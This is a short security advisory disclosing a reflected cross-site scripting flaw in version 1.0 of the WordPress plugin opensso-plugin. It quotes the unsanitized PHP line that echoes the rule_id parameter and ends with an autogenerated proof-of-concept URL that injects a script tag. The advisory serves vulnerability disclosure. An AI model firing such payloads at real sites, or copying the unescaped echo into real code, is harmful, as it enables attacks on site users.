Advisory #: 471
Title: Reflected XSS in wordpress plugin opensso-plugin v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/opensso-plugin
Downloads: 1436
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: opensso-plugin
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./opensso-plugin/open-sso.php: 613: <form method="post" action="/wp-admin/users.php?page=<?php echo plugin_basename(__FILE__); ?>&action=edit_rule_end&rule_id=<?php echo $_GET['rule_id']; ?>#rules"> The variable rule_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./opensso-plugin/open-sso.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/opensso-plugin/open-sso.php?rule_id="><script>alert(1);</script><"